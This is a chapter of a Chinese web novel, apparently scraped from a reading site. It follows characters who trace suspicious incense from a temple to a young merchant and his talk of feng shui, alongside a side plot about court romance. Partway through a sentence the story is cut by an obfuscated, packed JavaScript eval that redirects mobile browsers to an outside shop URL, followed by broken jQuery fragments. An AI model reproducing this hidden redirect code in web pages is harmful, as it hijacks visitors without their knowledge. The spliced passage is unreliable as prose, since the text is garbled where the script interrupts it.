文趣网 > 其他小说 > 穿书后攻略对象竟成了前任 > 38. 琴弦(十)
    苏瑶惜和夜随风顺着管理云安寺外围的刘静,摸到了上香的出处。

    “那家店与李郡主爱去的金饰店很近,就在隔壁,店主名儿叫卓悦陆。”刘静低着身子与苏瑶惜讲着:“今日刚好他会送货过来,但眼下应该是在出宫的路上……您不必担心,娘娘已经派人去通知他了。”

    顺着这些往下查,他们已经得到了杨太妃的准允,估计想着大事化小小事化了。

    好巧不巧,这儿也到了杨太妃调理身子的时间,不易再见客,连赵思睿这个亲女儿都回了殿。

    于是便见到了刘静还好端端地站在这儿与她讲诉后续内容。而杨太妃这逐渐空虚的身子,怕是因为操心安阳公主的事,那么此事更加显得没那么简单。

    她与刘静缓步向出宫的方向走去,也正好能顺路碰上卓悦陆。

    苏瑶惜见他一直低着头,似乎还有些紧张,额头上已经冒出一层薄汗,就这么唯唯诺诺地跟着她:“刘官吏不必如此,毕竟与太妃娘娘沾亲带故。”

    刘静一顿,有些惊讶地看着她:“您……您是如何知道的?”

    苏瑶惜也停下脚步,偏头看他,刘静的身形稍矮,本看着不胖,却有一个显眼的脾酒肚:“云安寺有幸与太妃娘娘去过一次,如此重要的地方,尽管只是一个外围交给一个人管,很难看不出来。”

    刘静抬手轻轻擦了擦额头上的细汗:“难怪娘娘如此信任您……”

    “……过奖了。”苏瑶惜回过头,便见一个衣着简单的卓悦陆脚步匆匆地往她这边走来。

    等他再近一点,能发现,外看虽然是一件很朴素的一件衣裳,寻常人家也是常穿的,但布料与普通的,可就大尽不相同了。

    身旁的刘静的话也随之传来:“人来了,那小人便要下去领罚了,先失赔一步。”

    卓悦陆见到面前不招摇,但全身散发着雅气的苏瑶惜,微微一笑,福了福身,像是在招待一位客人:“想来您便是苏姑娘吧,不知召见卓某,是有何事相商?”

    苏瑶惜打量了一番他的脸,这人不过弱冠,卖的香就已经得到了贵族的青睐。

    “听说卓先生的水香阁在香火生意上,在长安城最是红火,还会自制,今日一见,的确是大有可为。”

    卓悦陆谦逊地笑道:“没有没有,都是小本生意,刚好能养家糊口罢了。”

    这样的生意人,最不缺的就是低声相处的态度。出了宗门游历的她,也早已是见惯不惊。

    苏瑶惜看了他半晌,似是想起了香庐里的那些可疑香灰,才开了口:“云安寺的香都是从卓先生这进的货,那便是很对得起这口碑,还有货了。”

    她说出这句话时的姿态,像是在为某些人或事主持公道,那双眼睛在此刻显得格外明净,而眼角下的那颗泪痣宛如一点墨痕落进白玉,添了几分冷清。

    不管多与少,总得问出点什么。

    那香可不是简单的致幻,还混入了骨灰,人的。

    此番话让卓悦陆整个人愣了一愣,他望着苏瑶惜那双坚定的眼眸,身子忍不住微微发抖,最明显地便是双腿。

    苏瑶惜看情况不对,连忙伸手扶住他:“天气逐渐闷热起来了,卓先生可要注意着些,别中暑了。”

    卓悦陆借着苏瑶惜的力,才又重新站稳了脚步,满脸歉意:“实在抱歉,前些日子不小心摔了一跤,才康复不久。”

    苏瑶惜闻言,下意识地垂下眼观察着他的双腿。

    没一会儿,卓悦陆神不知鬼不觉问了一句“那是安阳公主,还是李郡主啊?”

    苏瑶惜这才抬了眼,发现他的目光是往自己的身后,便也顺势转身望去。

    夜随风已经离了自己大半段路的距离,身边还有一个花枝招展,好似花蝴蝶一般的人儿围着他转。

    她微微眯着眼勉强能看到一些清楚的变化,苏瑶惜的眼力还算好,眼睁睁地看着夜随风从很认真的脸色,到了带着些许为难。

    不知为何,她的内心似乎有些不太宁静了:“那女孩儿是李郡主。”停顿一秒,又补充道:“安阳公主与李郡主的风格不一样。”

    “眼下看来确是如此。”卓陆收起了些许笑容,回过眼重新望向他,无声地叹了口气:“卓某不算经常进宫,但也算是隔三差五,在这之前呀,李郡主也听信过长得像公主,是福气,只是近来几个月……”

    与此同时,于霜与今墨并肩也往宫外走去,她刚出公主府便看到李乔乐走得有些急,像是在追人,而那个人的身形很像男主角夜随风,本来只是跟上来确认,结果半路遇上了今墨。

    说是师姐在与人交谈云安寺一事,他不好作出打扰,便跟在身后。

    到最后,于霜可以说是被他骗到跟着来的。

    不过她没有计较什么,还为了打破无声的氛围,她开了口,简单诉说与安阳公主在屋里谈论的事:“白伟你认识吧?闯进云安寺的那个人,安阳公主为他亲手谱了一首琵琶曲。”

    今墨扫视了一眼周围,没看她:“嗯。”

    但这并不打扰于霜像只鸟一般叽叽喳喳道:“然后我一看,她暗卫还躲在窗后边听着,眼神看上去就像要吃人。”

    她一边说着,一边观察到今墨的半个身子晒到了太阳,他的马尾高高束起,飞扬在阳光大的几缕发丝成了暖色调。

    于霜见状,默默地往她另一边阴凉的地方挪了几步。

    今墨似乎早已有了此意,他没有任何的疑问和迟顿,默不作声地往她身侧靠了靠,终于整个身子都浸入了阴凉的地片:“你以后尽量离那个暗卫远一点。”

    “啊?”

    他转过头看她:“于小姐没发现吗?他跟踪过你。”

    今墨勾起嘴角,笑容里带着几分不怀好意:“若是还像上次一样,可是会不明不白的死掉的。”

    “这个啊。”她停下了脚步,突然扬起一边嘴角,像好兄弟一样拍了拍今墨的肩膀:“他有把柄在我手上,况且……他的事,还需要我们帮忙。”

    她像是有十足的信心,甚至有些骄傲了,扬了扬头,鼻尖也翘地老高了:“他不敢啊,应该是来找我问事的,看我没空所以不好露面吧。”

    今墨拉直了嘴角,不仅仅是对这番话感到不解,还有嫌弃。

    “诶?”于霜抬头望向他,一双灵动的杏眼泛起疑惑:“你怎么知道他跟踪过我?”

    她挑了挑眉,大脑转了又转,想出了一个成立但不符合逻辑的答案:“难不成你……”

    当时也在跟踪我?

    于霜拉长了语调没有说出口,不是在试探,而是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872941|207516||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    觉得这句话非常普信。她实在没什么勇气说出来。

    有时候她承认自己话多,但要脸,这是底线。

    “没有!”今墨下意识否认了,但立马查觉不对劲,调整仿佛被踩了尾巴的心态,理所当然地反答道:“他的动作太正大光明了,不想看出来都难吧?”

    好在于霜并没有细想,反倒还有些赞同,行走在江湖上多年的今墨,反侦察意识应该还挺强:“也是哈,是我没多注意。”

    今墨睨了她一眼,反正她都蠢成了这样,他也可以不当回事了:“于小姐没发现也很正常。”

    语毕,一个明显夹着嗓音说话的女声轻飘飘地拂过脸颊,传进他们的耳里。

    那句话从前方扑面而来。

    李乔乐没抬头看他,似乎是有些娇羞,但也不至于让她低下头,露出一张明艳如霞的脸:“夜公子,那天我不甚昏倒,还要多谢夜公子扶住我,已经吃了点补身子的,现在好多了……”

    今墨见此挑起了眉尾,像是一眼看透了李乔乐的心思,但也只当看个热闹,刚想绕道而行。

    于霜快他一步,她的步伐轻快,带起一点风,留下淡淡的梳头水味钻进今墨的鼻腔里。

    栀子花香味。

    “夜大哥,你们怎么在这儿啊?”于霜有意识地拉了拉夜随风的衣袖,偏头找了找,发现苏瑶惜已经出了六尺之外:“怎么落后了这么多?”

    她人畜无害地笑了笑,心里却冷冰冰道:想让我的cp产生不必要的误会,你想得美。老娘刷男主的好感度都尽量躲着苏瑶惜,哪能让你坏了事。

    站在原地的今墨,面色没有多余变化,栀子花的香气还会令人后知后觉,让他乌黑的眼眸微微闪动。

    ……

    卓悦陆说到一半犹豫了:“其实在你们之前,就已经请了好几个方士了,几乎都是找不出一点真理。”

    苏瑶惜下意识想问问夜随风的想法,才发觉他不在身边,身边又围了一个人——于霜。

    她这才稍微顺下心来:“我们不同寻常方士,路上见多了妖魔鬼怪,能被太妃娘娘请来,自然无所畏惧。”

    卓悦陆踌躇片刻,似在心中掂量着什么,然后下定了决心:“云安寺,想来您已经去过了吧?”

    苏瑶惜微微点头。

    卓悦陆压低了声音:“您大可回忆一下,左右两边山岗龙虎反背向外张开,不护寺院,后背靠的山留不住,山谷大风直灌殿堂,风散气泄,灵气四散。”

    “溪水直来直去,水流直冲山门殿基。没有聚气的明堂,地势便也逼仄局促。”

    “难怪……”苏瑶惜跟着说词回想当时见到的,那气势恢宏的云安寺:“所以寺中的香……”

    “是呀,这不就是冲撞了灵。”卓悦陆站直了身体:“咱这个方向刚好对着云安寺,犯了一个最直接的风水错误,中轴线偏斜……当年修建云安寺的时候,都是经过了无数风水方士的考察,哪会出这种错。”

    苏瑶惜领悟的很快,无非就是两个字:假的。

    眼下的云安寺是假的,那真的呢?

    “两边对冲,同时也相连。都是实的,却一真一假。如同镜花水月。”卓悦陆伸手揉了揉左腿的膝盖,摇头叹息:“我这伤哟,便是送香时不小心摔的。”